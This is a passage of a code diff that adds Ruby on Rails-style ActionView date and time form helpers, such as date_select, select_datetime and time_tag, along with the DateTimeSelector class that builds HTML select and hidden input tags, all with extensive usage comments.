+      #   # lacking a year field.
+      #   date_select("user", "birthday", order: [:month, :day])
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+      #   # which is initially set to the date 3 days from the current date
+      #   date_select("article", "written_on", default: 3.days.from_now)
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+      #   # which is set in the form with today's date, regardless of the value in the Active Record object.
+      #   date_select("article", "written_on", selected: Date.today)
+      #
+      #   # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
+      #   # that will have a default day of 20.
+      #   date_select("credit_card", "bill_due", default: { day: 20 })
+      #
+      #   # Generates a date select with custom prompts.
+      #   date_select("article", "written_on", prompt: { day: 'Select day', month: 'Select month', year: 'Select year' })
+      #
+      # The selects are prepared for multi-parameter assignment to an Active Record object.
+      #
+      # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
+      # all month choices are valid.
+      def date_select(object_name, method, options = {}, html_options = {})
+        Tags::DateSelect.new(object_name, method, self, options, html_options).render
+      end
+
+      # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
+      # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
+      # +object+). You can include the seconds with <tt>:include_seconds</tt>. You can get hours in the AM/PM format
+      # with <tt>:ampm</tt> option.
+      #
+      # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
+      # <tt>:ignore_date</tt> is set to +true+. If you set the <tt>:ignore_date</tt> to +true+, you must have a
+      # +date_select+ on the same method within the form otherwise an exception will be raised.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      #   # Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute.
+      #   time_select("article", "sunrise")
+      #
+      #   # Creates a time select tag with a seconds field that, when POSTed, will be stored in the article variables in
+      #   # the sunrise attribute.
+      #   time_select("article", "start_time", include_seconds: true)
+      #
+      #   # You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30, and 45.
+      #   time_select 'game', 'game_time', {minute_step: 15}
+      #
+      #   # Creates a time select tag with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+      #   time_select("article", "written_on", prompt: {hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds'})
+      #   time_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
+      #   time_select("article", "written_on", prompt: true) # generic prompts for all
+      #
+      #   # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
+      #   time_select 'game', 'game_time', {ampm: true}
+      #
+      # The selects are prepared for multi-parameter assignment to an Active Record object.
+      #
+      # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
+      # all month choices are valid.
+      def time_select(object_name, method, options = {}, html_options = {})
+        Tags::TimeSelect.new(object_name, method, self, options, html_options).render
+      end
+
+      # Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
+      # specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified
+      # by +object+).
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      #   # Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on
+      #   # attribute.
+      #   datetime_select("article", "written_on")
+      #
+      #   # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
+      #   # article variable in the written_on attribute.
+      #   datetime_select("article", "written_on", start_year: 1995)
+      #
+      #   # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
+      #   # be stored in the trip variable in the departing attribute.
+      #   datetime_select("trip", "departing", default: 3.days.from_now)
+      #
+      #   # Generate a datetime select with hours in the AM/PM format
+      #   datetime_select("article", "written_on", ampm: true)
+      #
+      #   # Generates a datetime select that discards the type that, when POSTed, will be stored in the article variable
+      #   # as the written_on attribute.
+      #   datetime_select("article", "written_on", discard_type: true)
+      #
+      #   # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+      #   datetime_select("article", "written_on", prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+      #   datetime_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
+      #   datetime_select("article", "written_on", prompt: true) # generic prompts for all
+      #
+      # The selects are prepared for multi-parameter assignment to an Active Record object.
+      def datetime_select(object_name, method, options = {}, html_options = {})
+        Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render
+      end
+
+      # Returns a set of HTML select-tags (one for year, month, day, hour, minute, and second) pre-selected with the
+      # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
+      # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
+      # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
+      # <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to
+      # control visual display of the elements.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      #   my_date_time = Time.now + 4.days
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today).
+      #   select_datetime(my_date_time)
+      #
+      #   # Generates a datetime select that defaults to today (no specified datetime)
+      #   select_datetime()
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # with the fields ordered year, month, day rather than month, day, year.
+      #   select_datetime(my_date_time, order: [:year, :month, :day])
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # with a '/' between each date field.
+      #   select_datetime(my_date_time, date_separator: '/')
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # with a date fields separated by '/', time fields separated by '' and the date and time fields
+      #   # separated by a comma (',').
+      #   select_datetime(my_date_time, date_separator: '/', time_separator: '', datetime_separator: ',')
+      #
+      #   # Generates a datetime select that discards the type of the field and defaults to the datetime in
+      #   # my_date_time (four days after today)
+      #   select_datetime(my_date_time, discard_type: true)
+      #
+      #   # Generate a datetime field with hours in the AM/PM format
+      #   select_datetime(my_date_time, ampm: true)
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # prefixed with 'payday' rather than 'date'
+      #   select_datetime(my_date_time, prefix: 'payday')
+      #
+      #   # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+      #   select_datetime(my_date_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+      #   select_datetime(my_date_time, prompt: {hour: true}) # generic prompt for hours
+      #   select_datetime(my_date_time, prompt: true) # generic prompts for all
+      def select_datetime(datetime = Time.current, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_datetime
+      end
+
+      # Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the +date+.
+      # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
+      # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order.
+      # If the array passed to the <tt>:order</tt> option does not contain all the three symbols, all tags will be hidden.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      #   my_date = Time.now + 6.days
+      #
+      #   # Generates a date select that defaults to the date in my_date (six days after today).
+      #   select_date(my_date)
+      #
+      #   # Generates a date select that defaults to today (no specified date).
+      #   select_date()
+      #
+      #   # Generates a date select that defaults to the date in my_date (six days after today)
+      #   # with the fields ordered year, month, day rather than month, day, year.
+      #   select_date(my_date, order: [:year, :month, :day])
+      #
+      #   # Generates a date select that discards the type of the field and defaults to the date in
+      #   # my_date (six days after today).
+      #   select_date(my_date, discard_type: true)
+      #
+      #   # Generates a date select that defaults to the date in my_date,
+      #   # which has fields separated by '/'.
+      #   select_date(my_date, date_separator: '/')
+      #
+      #   # Generates a date select that defaults to the datetime in my_date (six days after today)
+      #   # prefixed with 'payday' rather than 'date'.
+      #   select_date(my_date, prefix: 'payday')
+      #
+      #   # Generates a date select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+      #   select_date(my_date, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+      #   select_date(my_date, prompt: {hour: true}) # generic prompt for hours
+      #   select_date(my_date, prompt: true) # generic prompts for all
+      def select_date(date = Date.current, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_date
+      end
+
+      # Returns a set of HTML select-tags (one for hour and minute).
+      # You can set <tt>:time_separator</tt> key to format the output, and
+      # the <tt>:include_seconds</tt> option to include an input for seconds.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      #   my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
+      #
+      #   # Generates a time select that defaults to the time in my_time.
+      #   select_time(my_time)
+      #
+      #   # Generates a time select that defaults to the current time (no specified time).
+      #   select_time()
+      #
+      #   # Generates a time select that defaults to the time in my_time,
+      #   # which has fields separated by ':'.
+      #   select_time(my_time, time_separator: ':')
+      #
+      #   # Generates a time select that defaults to the time in my_time,
+      #   # that also includes an input for seconds.
+      #   select_time(my_time, include_seconds: true)
+      #
+      #   # Generates a time select that defaults to the time in my_time, that has fields
+      #   # separated by ':' and includes an input for seconds.
+      #   select_time(my_time, time_separator: ':', include_seconds: true)
+      #
+      #   # Generate a time select field with hours in the AM/PM format
+      #   select_time(my_time, ampm: true)
+      #
+      #   # Generates a time select field with hours that range from 2 to 14
+      #   select_time(my_time, start_hour: 2, end_hour: 14)
+      #
+      #   # Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts.
+      #   select_time(my_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+      #   select_time(my_time, prompt: {hour: true}) # generic prompt for hours
+      #   select_time(my_time, prompt: true) # generic prompts for all
+      def select_time(datetime = Time.current, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_time
+      end
+
+      # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
+      # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+      # Override the field name using the <tt>:field_name</tt> option, 'second' by default.
+      #
+      #   my_time = Time.now + 16.seconds
+      #
+      #   # Generates a select field for seconds that defaults to the seconds for the time in my_time.
+      #   select_second(my_time)
+      #
+      #   # Generates a select field for seconds that defaults to the number given.
+      #   select_second(33)
+      #
+      #   # Generates a select field for seconds that defaults to the seconds for the time in my_time
+      #   # that is named 'interval' rather than 'second'.
+      #   select_second(my_time, field_name: 'interval')
+      #
+      #   # Generates a select field for seconds with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_second(14, prompt: 'Choose seconds')
+      def select_second(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_second
+      end
+
+      # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
+      # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
+      # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+      # Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
+      #
+      #   my_time = Time.now + 10.minutes
+      #
+      #   # Generates a select field for minutes that defaults to the minutes for the time in my_time.
+      #   select_minute(my_time)
+      #
+      #   # Generates a select field for minutes that defaults to the number given.
+      #   select_minute(14)
+      #
+      #   # Generates a select field for minutes that defaults to the minutes for the time in my_time
+      #   # that is named 'moment' rather than 'minute'.
+      #   select_minute(my_time, field_name: 'moment')
+      #
+      #   # Generates a select field for minutes with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_minute(14, prompt: 'Choose minutes')
+      def select_minute(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_minute
+      end
+
+      # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+      # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+      # Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
+      #
+      #   my_time = Time.now + 6.hours
+      #
+      #   # Generates a select field for hours that defaults to the hour for the time in my_time.
+      #   select_hour(my_time)
+      #
+      #   # Generates a select field for hours that defaults to the number given.
+      #   select_hour(13)
+      #
+      #   # Generates a select field for hours that defaults to the hour for the time in my_time
+      #   # that is named 'stride' rather than 'hour'.
+      #   select_hour(my_time, field_name: 'stride')
+      #
+      #   # Generates a select field for hours with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_hour(13, prompt: 'Choose hour')
+      #
+      #   # Generate a select field for hours in the AM/PM format
+      #   select_hour(my_time, ampm: true)
+      #
+      #   # Generates a select field that includes options for hours from 2 to 14.
+      #   select_hour(my_time, start_hour: 2, end_hour: 14)
+      def select_hour(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_hour
+      end
+
+      # Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+      # The <tt>date</tt> can also be substituted for a day number.
+      # If you want to display days with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
+      # Override the field name using the <tt>:field_name</tt> option, 'day' by default.
+      #
+      #   my_date = Time.now + 2.days
+      #
+      #   # Generates a select field for days that defaults to the day for the date in my_date.
+      #   select_day(my_date)
+      #
+      #   # Generates a select field for days that defaults to the number given.
+      #   select_day(5)
+      #
+      #   # Generates a select field for days that defaults to the number given, but displays it with two digits.
+      #   select_day(5, use_two_digit_numbers: true)
+      #
+      #   # Generates a select field for days that defaults to the day for the date in my_date
+      #   # that is named 'due' rather than 'day'.
+      #   select_day(my_date, field_name: 'due')
+      #
+      #   # Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_day(5, prompt: 'Choose day')
+      def select_day(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_day
+      end
+
+      # Returns a select tag with options for each of the months January through December with the current month
+      # selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are
+      # used as values (what's submitted to the server). It's also possible to use month numbers for the presentation
+      # instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you
+      # want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
+      # to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
+      # to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
+      # If you want to display months with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
+      # Override the field name using the <tt>:field_name</tt> option, 'month' by default.
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "January", "March".
+      #   select_month(Date.today)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # is named "start" rather than "month".
+      #   select_month(Date.today, field_name: 'start')
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "1", "3".
+      #   select_month(Date.today, use_month_numbers: true)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "1 - January", "3 - March".
+      #   select_month(Date.today, add_month_numbers: true)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "Jan", "Mar".
+      #   select_month(Date.today, use_short_month: true)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "Januar", "Marts."
+      #   select_month(Date.today, use_month_names: %w(Januar Februar Marts ...))
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys with two digit numbers like "01", "03".
+      #   select_month(Date.today, use_two_digit_numbers: true)
+      #
+      #   # Generates a select field for months with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_month(14, prompt: 'Choose month')
+      def select_month(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_month
+      end
+
+      # Returns a select tag with options for each of the five years on each side of the current, which is selected.
+      # The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the
+      # +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or
+      # greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
+      # Override the field name using the <tt>:field_name</tt> option, 'year' by default.
+      #
+      #   # Generates a select field for years that defaults to the current year that
+      #   # has ascending year values.
+      #   select_year(Date.today, start_year: 1992, end_year: 2007)
+      #
+      #   # Generates a select field for years that defaults to the current year that
+      #   # is named 'birth' rather than 'year'.
+      #   select_year(Date.today, field_name: 'birth')
+      #
+      #   # Generates a select field for years that defaults to the current year that
+      #   # has descending year values.
+      #   select_year(Date.today, start_year: 2005, end_year: 1900)
+      #
+      #   # Generates a select field for years that defaults to the year 2006 that
+      #   # has ascending year values.
+      #   select_year(2006, start_year: 2000, end_year: 2010)
+      #
+      #   # Generates a select field for years with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_year(14, prompt: 'Choose year')
+      def select_year(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_year
+      end
+
+      # Returns an HTML time tag for the given date or time.
+      #
+      #   time_tag Date.today  # =>
+      #     <time datetime="2010-11-04">November 04, 2010</time>
+      #   time_tag Time.now  # =>
+      #     <time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time>
+      #   time_tag Date.yesterday, 'Yesterday'  # =>
+      #     <time datetime="2010-11-03">Yesterday</time>
+      #   time_tag Date.today, pubdate: true  # =>
+      #     <time datetime="2010-11-04" pubdate="pubdate">November 04, 2010</time>
+      #   time_tag Date.today, datetime: Date.today.strftime('%G-W%V') # =>
+      #     <time datetime="2010-W44">November 04, 2010</time>
+      #
+      #   <%= time_tag Time.now do %>
+      #     <span>Right now</span>
+      #   <% end %>
+      #   # => <time datetime="2010-11-04T17:55:45+01:00"><span>Right now</span></time>
+      def time_tag(date_or_time, *args, &block)
+        options  = args.extract_options!
+        format   = options.delete(:format) || :long
+        content  = args.first || I18n.l(date_or_time, format: format)
+        datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.iso8601
+
+        content_tag("time".freeze, content, options.reverse_merge(datetime: datetime), &block)
+      end
+
+      private
+
+        def normalize_distance_of_time_argument_to_time(value)
+          if value.is_a?(Numeric)
+            Time.at(value)
+          elsif value.respond_to?(:to_time)
+            value.to_time
+          else
+            raise ArgumentError, "#{value.inspect} can't be converted to a Time value"
+          end
+        end
+    end
+
+    class DateTimeSelector #:nodoc:
+      include ActionView::Helpers::TagHelper
+
+      DEFAULT_PREFIX = "date".freeze
+      POSITION = {
+        year: 1, month: 2, day: 3, hour: 4, minute: 5, second: 6
+      }.freeze
+
+      AMPM_TRANSLATION = Hash[
+        [[0, "12 AM"], [1, "01 AM"], [2, "02 AM"], [3, "03 AM"],
+         [4, "04 AM"], [5, "05 AM"], [6, "06 AM"], [7, "07 AM"],
+         [8, "08 AM"], [9, "09 AM"], [10, "10 AM"], [11, "11 AM"],
+         [12, "12 PM"], [13, "01 PM"], [14, "02 PM"], [15, "03 PM"],
+         [16, "04 PM"], [17, "05 PM"], [18, "06 PM"], [19, "07 PM"],
+         [20, "08 PM"], [21, "09 PM"], [22, "10 PM"], [23, "11 PM"]]
+      ].freeze
+
+      def initialize(datetime, options = {}, html_options = {})
+        @options      = options.dup
+        @html_options = html_options.dup
+        @datetime     = datetime
+        @options[:datetime_separator] ||= " &mdash; "
+        @options[:time_separator]     ||= " : "
+      end
+
+      def select_datetime
+        order = date_order.dup
+        order -= [:hour, :minute, :second]
+        @options[:discard_year]   ||= true unless order.include?(:year)
+        @options[:discard_month]  ||= true unless order.include?(:month)
+        @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
+        @options[:discard_minute] ||= true if @options[:discard_hour]
+        @options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
+
+        set_day_if_discarded
+
+        if @options[:tag] && @options[:ignore_date]
+          select_time
+        else
+          [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
+          order += [:hour, :minute, :second] unless @options[:discard_hour]
+
+          build_selects_from_types(order)
+        end
+      end
+
+      def select_date
+        order = date_order.dup
+
+        @options[:discard_hour]     = true
+        @options[:discard_minute]   = true
+        @options[:discard_second]   = true
+
+        @options[:discard_year]   ||= true unless order.include?(:year)
+        @options[:discard_month]  ||= true unless order.include?(:month)
+        @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
+
+        set_day_if_discarded
+
+        [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
+
+        build_selects_from_types(order)
+      end
+
+      def select_time
+        order = []
+
+        @options[:discard_month]    = true
+        @options[:discard_year]     = true
+        @options[:discard_day]      = true
+        @options[:discard_second] ||= true unless @options[:include_seconds]
+
+        order += [:year, :month, :day] unless @options[:ignore_date]
+
+        order += [:hour, :minute]
+        order << :second if @options[:include_seconds]
+
+        build_selects_from_types(order)
+      end
+
+      def select_second
+        if @options[:use_hidden] || @options[:discard_second]
+          build_hidden(:second, sec) if @options[:include_seconds]
+        else
+          build_options_and_select(:second, sec)
+        end
+      end
+
+      def select_minute
+        if @options[:use_hidden] || @options[:discard_minute]
+          build_hidden(:minute, min)
+        else
+          build_options_and_select(:minute, min, step: @options[:minute_step])
+        end
+      end
+
+      def select_hour
+        if @options[:use_hidden] || @options[:discard_hour]
+          build_hidden(:hour, hour)
+        else
+          options         = {}
+          options[:ampm]  = @options[:ampm] || false
+          options[:start] = @options[:start_hour] || 0
+          options[:end]   = @options[:end_hour] || 23
+          build_options_and_select(:hour, hour, options)
+        end
+      end
+
+      def select_day
+        if @options[:use_hidden] || @options[:discard_day]
+          build_hidden(:day, day || 1)
+        else
+          build_options_and_select(:day, day, start: 1, end: 31, leading_zeros: false, use_two_digit_numbers: @options[:use_two_digit_numbers])
+        end
+      end
+
+      def select_month
+        if @options[:use_hidden] || @options[:discard_month]
+          build_hidden(:month, month || 1)
+        else
+          month_options = []
+          1.upto(12) do |month_number|
+            options = { value: month_number }
+            options[:selected] = "selected" if month == month_number
+            month_options << content_tag("option".freeze, month_name(month_number), options) + "\n"
+          end
+          build_select(:month, month_options.join)
+        end
+      end
+
+      def select_year
+        if !@datetime || @datetime == 0
+          val = "1"
+          middle_year = Date.today.year
+        else
+          val = middle_year = year
+        end
+
+        if @options[:use_hidden] || @options[:discard_year]
+          build_hidden(:year, val)
+        else
+          options                     = {}
+          options[:start]             = @options[:start_year] || middle_year - 5
+          options[:end]               = @options[:end_year] || middle_year + 5
+          options[:step]              = options[:start] < options[:end] ? 1 : -1
+          options[:leading_zeros]     = false
+          options[:max_years_allowed] = @options[:max_years_allowed] || 1000
+
+          if (options[:end] - options[:start]).abs > options[:max_years_allowed]
+            raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
+          end
+
+          build_options_and_select(:year, val, options)
+        end
+      end
+
+      private
+        %w( sec min hour day month year ).each do |method|
+          define_method(method) do
+            case @datetime
+            when Hash then @datetime[method.to_sym]
+            when Numeric then @datetime
+            when nil then nil
+            else @datetime.send(method)
+            end
+          end
+        end
+
+        # If the day is hidden, the day should be set to the 1st so all month and year choices are
+        # valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid.
+        def set_day_if_discarded
+          if @datetime && @options[:discard_day]
+            @datetime = @datetime.change(day: 1)
+          end
+        end
+
+        # Returns translated month names, but also ensures that a custom month
+        # name array has a leading +nil+ element.
+        def month_names
+          @month_names ||= begin
+            month_names = @options[:use_month_names] || translated_month_names
+            month_names.unshift(nil) if month_names.size < 13
+            month_names
+          end
+        end
+
+        # Returns translated month names.
+        #  => [nil, "January", "February", "March",
+        #           "April", "May", "June", "July",
+        #           "August", "September", "October",
+        #           "November", "December"]
+        #
+        # If <tt>:use_short_month</tt> option is set
+        #  => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun",
+        #           "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
+        def translated_month_names
+          key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names'
+          I18n.translate(key, locale: @options[:locale])
+        end
+
+        # Looks up month names by number (1-based):
+        #
+        #   month_name(1) # => "January"
+        #
+        # If the <tt>:use_month_numbers</tt> option is passed:
+        #
+        #   month_name(1) # => 1
+        #
+        # If the <tt>:use_two_month_numbers</tt> option is passed:
+        #
+        #   month_name(1) # => '01'
+        #
+        # If the <tt>:add_month_numbers</tt> option is passed:
+        #
+        #   month_name(1) # => "1 - January"
+        #
+        # If the <tt>:month_format_string</tt> option is passed:
+        #
+        #   month_name(1) # => "January (01)"
+        #
+        # depending on the format string.
+        def month_name(number)
+          if @options[:use_month_numbers]
+            number
+          elsif @options[:use_two_digit_numbers]
+            "%02d" % number
+          elsif @options[:add_month_numbers]
+            "#{number} - #{month_names[number]}"
+          elsif format_string = @options[:month_format_string]
+            format_string % { number: number, name: month_names[number] }
+          else
+            month_names[number]
+          end
+        end
+
+        def date_order
+          @date_order ||= @options[:order] || translated_date_order
+        end
+
+        def translated_date_order
+          date_order = I18n.translate(:'date.order', locale: @options[:locale], default: [])
+          date_order = date_order.map(&:to_sym)
+
+          forbidden_elements = date_order - [:year, :month, :day]
+          if forbidden_elements.any?
+            raise StandardError,
+              "#{@options[:locale]}.date.order only accepts :year, :month and :day"
+          end
+
+          date_order
+        end
+
+        # Build full select tag from date type and options.
+        def build_options_and_select(type, selected, options = {})
+          build_select(type, build_options(selected, options))
+        end
+
+        # Build select option HTML from date value and options.
+        #  build_options(15, start: 1, end: 31)
+        #  => "<option value="1">1</option>
+        #      <option value="2">2</option>
+        #      <option value="3">3</option>..."
+        #
+        # If <tt>use_two_digit_numbers: true</tt> option is passed
+        #  build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
+        #  => "<option value="1">01</option>
+        #      <option value="2">02</option>
+        #      <option value="3">03</option>..."
+        #
+        # If <tt>:step</tt> options is passed
+        #  build_options(15, start: 1, end: 31, step: 2)
+        #  => "<option value="1">1</option>
+        #      <option value="3">3</option>
+        #      <option value="5">5</option>..."
+        def build_options(selected, options = {})
+          options = {
+            leading_zeros: true, ampm: false, use_two_digit_numbers: false
+          }.merge!(options)
+
+          start         = options.delete(:start) || 0
+          stop          = options.delete(:end) || 59
+          step          = options.delete(:step) || 1
+          leading_zeros = options.delete(:leading_zeros)
+
+          select_options = []
+          start.step(stop, step) do |i|
+            value = leading_zeros ? sprintf("%02d", i) : i
+            tag_options = { value: value }
+            tag_options[:selected] = "selected" if selected == i
+            text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value
+            text = options[:ampm] ? AMPM_TRANSLATION[i] : text
+            select_options << content_tag("option".freeze, text, tag_options)
+          end
+
+          (select_options.join("\n") + "\n").html_safe
+        end
+
+        # Builds select tag from date type and HTML select options.
+        #  build_select(:month, "<option value="1">January</option>...")
+        #  => "<select id="post_written_on_2i" name="post[written_on(2i)]">
+        #        <option value="1">January</option>...
+        #      </select>"
+        def build_select(type, select_options_as_html)
+          select_options = {
+            id: input_id_from_type(type),
+            name: input_name_from_type(type)
+          }.merge!(@html_options)
+          select_options[:disabled] = "disabled" if @options[:disabled]
+          select_options[:class] = css_class_attribute(type, select_options[:class], @options[:with_css_classes]) if @options[:with_css_classes]
+
+          select_html = "\n".dup
+          select_html << content_tag("option".freeze, "", value: "") + "\n" if @options[:include_blank]
+          select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
+          select_html << select_options_as_html
+
+          (content_tag("select".freeze, select_html.html_safe, select_options) + "\n").html_safe
+        end
+
+        # Builds the css class value for the select element
+        #  css_class_attribute(:year, 'date optional', { year: 'my-year' })
+        #  => "date optional my-year"
+        def css_class_attribute(type, html_options_class, options) # :nodoc:
+          css_class = \
+            case options
+            when Hash
+              options[type.to_sym]
+            else
+              type
+            end
+
+          [html_options_class, css_class].compact.join(" ")
+        end
+
+        # Builds a prompt option tag with supplied options or from default options.
+        #  prompt_option_tag(:month, prompt: 'Select month')
+        #  => "<option value="">Select month</option>"
+        def prompt_option_tag(type, options)
+          prompt = \
+            case options
+            when Hash
+              default_options = { year: false, month: false, day: false, hour: false, minute: false, second: false }
+              default_options.merge!(options)[type.to_sym]
+            when String
+              options
+            else
+              I18n.translate(:"datetime.prompts.#{type}", locale: @options[:locale])
+            end
+
+          prompt ? content_tag("option".freeze, prompt, value: "") : ""
+        end
+
+        # Builds hidden input tag for date part and value.
+        #  build_hidden(:year, 2008)
+        #  => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
+        def build_hidden(type, value)
+          select_options = {
+            type: "hidden",
+            id: input_id_from_type(type),
+            name: input_name_from_type(type),
+            value: value
+          }.merge!(@html_options.slice(:disabled))
+          select_options[:disabled] = "disabled" if @options[:disabled]
+
+          tag(:input, select_options) + "\n".html_safe
+        end
+
+        # Returns the name attribute for the input tag.
+        #  => post[written_on(1i)]
+        def input_name_from_type(type)
+          prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
+          prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
+
+          field_name = @options[:field_name] || type.to_s
+          if @options[:include_position]
+            field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)"
+          end
+
+          @options[:discard_type] ? prefix : "#{prefix}[#{field_name}]"
+        end
+
+        # Returns the id attribute for the input tag.
+        #  => "post_written_on_1i"
+        def input_id_from_type(type)
+          id = input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, "_").gsub(/[\]\)]/, "")
+          id = @options[:namespace] + "_" + id if @options[:namespace]
+
+          id
+        end
+
+        # Given an ordering of datetime components, create the selection HTML
+        # and join them with their appropriate separators.
+        def build_selects_from_types(order)
+          select = "".dup
+          first_visible = order.find { |type| !@options[:"discard_#{type}"] }
+          order.reverse_each do |type|
+            separator = separator(type) unless type == first_visible # don't add before first visible field
+            select.insert(0, separator.to_s + send("select_#{type}").to_s)
+          end
+          select.html_safe
+        end
+
